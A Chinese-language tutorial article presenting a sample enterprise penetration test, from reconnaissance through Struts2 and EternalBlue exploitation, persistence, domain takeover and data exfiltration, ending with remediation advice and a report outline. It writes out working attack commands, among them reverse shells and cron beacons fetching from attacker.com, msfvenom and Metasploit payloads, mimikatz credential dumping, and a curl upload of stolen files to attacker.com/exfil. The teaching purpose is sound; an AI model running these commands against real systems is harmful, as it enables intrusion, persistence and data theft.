第250篇:一次完整的企业网安全渗透测试案例
关键词
渗透测试、红蓝对抗、信息收集、漏洞利用、权限提升、横向移动、数据窃取、报告输出
一、渗透测试场景
1.1 测试范围
渗透测试范围:
目标企业:某中型企业(500 人)
测试范围:
├─ 外网:公网 IP 段(1 个 /24)
├─ 内网:办公网段(192.168.1.0/24)
├─ DMZ 网段(10.0.1.0/24)
└─ 管理员网段(10.0.100.0/24)
测试目标(红队):
从外网突破 → 进入内网 → 获取核心数据
防御方(蓝队):
检测和阻止攻击者
1.2 测试总览
渗透测试过程五阶段:
阶段 1:信息收集
└─ 域名/子域名/IP/端口/服务/指纹
└─ 目标:找到攻击面
阶段 2:初始突破
└─ 利用漏洞获得第一个入口
└─ 目标:获取边界设备权限
阶段 3:权限维持
└─ 建立后门/C2 通道
└─ 目标:即使被发现也能重新进入
阶段 4:内网横向移动
└─ 扫描内网 → 提权 → 跳板
└─ 目标:逐步接近核心数据
阶段 5:数据窃取(概念验证)
└─ 定位核心数据 → 提取
└─ 目标:证明数据可以被窃取
二、阶段 1:信息收集
2.1 外部信息收集
Step 1:域名收集
# 查找公司所有域名
theharvester -d company.com -b google
发现:
mail.company.com → 邮件服务器
vpn.company.com → VPN 入口
www.company.com → 官网
portal.company.com → 员工门户
git.company.com → 代码仓库(内部)
Step 2:子域名枚举
# 使用 amass 枚举子域名
amass enum -d company.com
发现 portal.company.com → 192.168.1.100(内网 IP 泄露!)
重要发现:内部系统通过公网 DNS 泄露了内网 IP
Step 3:端口扫描
# 全端口扫描
nmap -p- -A company.com
开放端口:
22/tcp SSH OpenSSH 7.4
80/tcp HTTP Apache 2.4.6
443/tcp HTTPS Apache 2.4.6
8443/tcp HTTPS-alt Tomcat 8.5 (默认密码?)
3306/tcp MySQL MySQL 5.7(不该开放!)
发现的问题:
1. MySQL 3306 端口暴露到公网
2. Tomcat 管理后台 8443
3. 内网 IP 通过 DNS 泄露
三、阶段 2:初始突破
3.1 漏洞扫描
Step 4:漏洞扫描
# 使用 Nessus 扫描外部服务
nessus scan company.com
发现的关键漏洞:
VULN-01: Apache Struts2 远程命令执行
CVE-2017-5638
影响:portal.company.com:8443
风险:可以远程执行命令
VULN-02: Tomcat 默认管理密码
URL: https://portal.company.com:8443/manager/html
默认密码: tomcat/tomcat
风险:可以部署 Webshell
VULN-03: MySQL 弱密码
用户名: root
密码: root123
风险:数据库直接暴露
3.2 漏洞利用
Step 5:利用 Struts2 漏洞
# 使用漏洞利用工具
python2 struts2_poc.py -u https://portal.company.com:8443/
命令执行成功!
whoami → tomcat (Tomcat 用户)
# 建立反弹 Shell
在攻击者服务器上开启监听:
nc -lvnp 4444
在目标上执行:
curl http://attacker.com/rev.sh | bash
└─ 获得交互式 Shell
Step 6:Webshell 部署(第二入口)
利用 Tomcat 默认密码上传 Webshell:
# 创建 war 包 Webshell
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=attacker.com LPORT=5555 -f war > shell.war
# 通过 Tomcat Manager 上传
curl -u tomcat:tomcat \
--upload-file shell.war \
https://portal.company.com:8443/manager/deploy?path=/shell
# 访问触发
curl https://portal.company.com:8443/shell/
└─ 获得第二个入口(作为备用)
突破结果:
✅ 获得 DMZ 区服务器权限 (10.0.1.100)
✅ 可以执行命令
✅ 建立了 C2 通信通道
四、阶段 3:权限维持
4.1 后门部署
Step 7:建立持久后门
方法 1:定时任务(Cron)
# 每 5 分钟反向连接 C2
echo "*/5 * * * * curl http://attacker.com/beacon | bash" \
| crontab -
方法 2:SSH 公钥
# 添加攻击者 SSH 公钥
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> ~/.ssh/authorized_keys
方法 3:Webshell(已部署)
# Tomcat Webshell 持久
# 即使服务器重启也有效
Step 8:C2 通信加密
# 使用 HTTPS 伪装
# 流量加密,逃避检测
通信特征:
每 60 秒发送 HTTPS 请求到 attacker.com/checkin
返回 200 OK + 加密指令
看起来像正常的 API 调用
五、阶段 4:内网横向移动
5.1 内网扫描
Step 9:内网扫描
# 从被控服务器 (10.0.1.100) 扫描内网
# 扫描存活主机
for i in $(seq 1 254); do
ping -c 1 192.168.1.$i -W 1 | grep "bytes from" &
done
发现主机:
192.168.1.1 网关
192.168.1.10 文件服务器(开放 SMB 445)
192.168.1.20 AD 域控制器
192.168.1.50 数据库服务器(开放 3306)
192.168.1.100-200 办公 PC(多台)
# 扫描服务和端口
nmap -sS -p 22,445,3389,3306,1433 192.168.1.0/24
关键发现:
SMB 服务开放(可能 EternalBlue 漏洞)
大量 MS17-010 (SMBv1)
5.2 利用 SMB 漏洞
Step 10:利用 EternalBlue
# MS17-010 EternalBlue 检测
nmap -p 445 --script smb-vuln-ms17-010 192.168.1.0/24
发现 3 台主机存在漏洞:
192.168.1.10 (文件服务器)
192.168.1.55 (财务 PC)
192.168.1.88 (经理 PC)
# 漏洞利用
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.55
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker.com
run
成功获得 SYSTEM 权限!
# 提取密码哈希
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:...NTLM...
zhangsan:1001:...NTLM...
# 破解 NTLM 哈希
hashcat -m 1000 hashes.txt wordlist.txt
破解成功:
Administrator → P@ssw0rd
zhangsan → password123
5.3 域渗透
Step 11:利用 AD 域
# 枚举域用户和组
net group "Domain Admins" /domain
Domain Admins:
Administrator
wang.wu # IT 主管
# 窃取 wang.wu 的凭证
# 使用 mimikatz 从登录的 PC 提取
mimikatz # sekurlsa::logonpasswords
获得:
wang.wu / Admin@2024
# 横向移动到域控制器
psexec \\192.168.1.20 -u company\wang.wu -p Admin@2024 cmd
成功登录域控制器!
5.4 数据窃取
Step 12:定位和窃取核心数据
# 从域控制器查找文件服务器上的共享
net view \\192.168.1.10
发现共享:
\\fileserver\财务数据
\\fileserver\客户资料
\\fileserver\HR
# 访问财务共享
net use Z: \\192.168.1.10\财务数据
# 查找敏感文件
dir Z:\*合同* /s
dir Z:\*客户* /s
dir Z:\*财务报告* /s
# 压缩数据
# 将敏感文件打包(概念验证 → 实际测试只需证明可达)
zip -r sensitive_data.zip Z:\关键数据\
# 通过 C2 通道传输(少量)
curl -F "file=@sensitive_data.zip" https://attacker.com/exfil
渗透结果:
✅ 从外网突破(Struts2 漏洞)
✅ 内网横向移动(EternalBlue + 凭证窃取)
✅ 域控制器控制
✅ 核心数据可达
⚠️ 仅做概念验证,实际数据未下载
六、防御方分析与改进
6.1 攻击路径复盘
攻击路径总结:
入口:Struts2 漏洞 (portal.company.com:8443)
└─ 防御缺失:Struts2 版本未更新
被控 DMZ 服务器 (10.0.1.100)
└─ 防御缺失:DMZ 到内网无隔离
横向移动:EternalBlue (192.168.1.55)
└─ 防御缺失:未打补丁、SMBv1 未禁用
凭证窃取:Mimikatz → Domain Admin
└─ 防御缺失:未启用 Credential Guard
数据可达:文件服务器共享
└─ 防御缺失:无 DLP、访问控制不严
6.2 整改建议
基于渗透发现的整改建议:
高优先级(立即修复):
├─ 升级 Struts2 到最新版本(入口问题)
├─ 禁用 SMBv1(EternalBlue 问题)
├─ 关闭冗余的公网端口(MySQL 3306)
└─ 修补 MS17-010 补丁
中优先级(1个月内):
├─ DMZ 和内网之间增加防火墙策略
├─ 启用 Credential Guard(防 Mimikatz)
├─ 部署 EDR(检测异常行为)
└─ 文件服务器访问控制最小化
低优先级(3个月内):
├─ 定期渗透测试(每年至少一次)
├─ 安全意识培训(防钓鱼)
├─ 部署 DLP 方案
└─ 实施 802.1X + NAC
七、渗透测试报告
7.1 报告结构
渗透测试报告结构:
1. 执行摘要(给管理层)
测试范围、发现概览、风险等级
关键发现:5 个高危漏洞
建议立即修复:Struts2 升级、SMBv1 禁用
2. 测试方法
测试范围、时间、工具
测试过程概述
3. 漏洞详情
每个漏洞的:描述、危害、复现步骤、修复建议
VULN-01: Struts2 远程命令执行(高危)
├─ 影响:portal.company.com:8443
├─ CVE: CVE-2017-5638
├─ 危害:可执行任意系统命令
├─ 复现:使用 EXP 执行 id 命令
└─ 修复:升级到 Struts 2.5.12+
4. 攻击路径
完整的攻击链图
每个环节的漏洞和利用方式
5. 修复建议
按优先级排列的修复清单
建议的时间表
6. 总结
整体安全评估
后续建议
八、总结
| 知识点 | 核心要点 |
|---|---|
| 渗透测试五阶段 | 信息收集 → 突破 → 维持 → 横向 → 窃取 |
| 信息收集 | 域名/端口/服务/指纹,找到攻击面 |
| 初始突破 | Struts2 漏洞、Tomcat 默认密码 |
| 权限维持 | Webshell、Cron、SSH 公钥 |
| 横向移动 | EternalBlue + 凭证窃取 + PsExec |
| 域渗透 | 利用 Mimikatz 窃取域管理员凭证 |
| 防御改进 | 打补丁、最小权限、EDR、DLP |
| 报告输出 | 执行摘要 + 漏洞详情 + 修复建议 |
九、思考
- 渗透测试的五个阶段分别是什么?每个阶段的目的是什么?
- 该案例中初始突破是如何实现的?如果企业及时升级了 Struts2,攻击者还有哪些攻击面?
- 攻击者如何从 DMZ 服务器横向移动到内网服务器?利用了哪些技术?
- 为什么攻击者能成功窃取域管理员凭证?企业应该如何防御 Mimikatz 类型的攻击?
- 如果你是企业的安全负责人,收到这份渗透测试报告后,你的三项最高优先级的整改措施是什么?
下篇预告:第251篇《数据中心网络架构演进:传统三层到 Spine-Leaf》——开启第六篇章《数据中心与云计算网络》,从传统三层架构到现代 Spine-Leaf 的演进之路。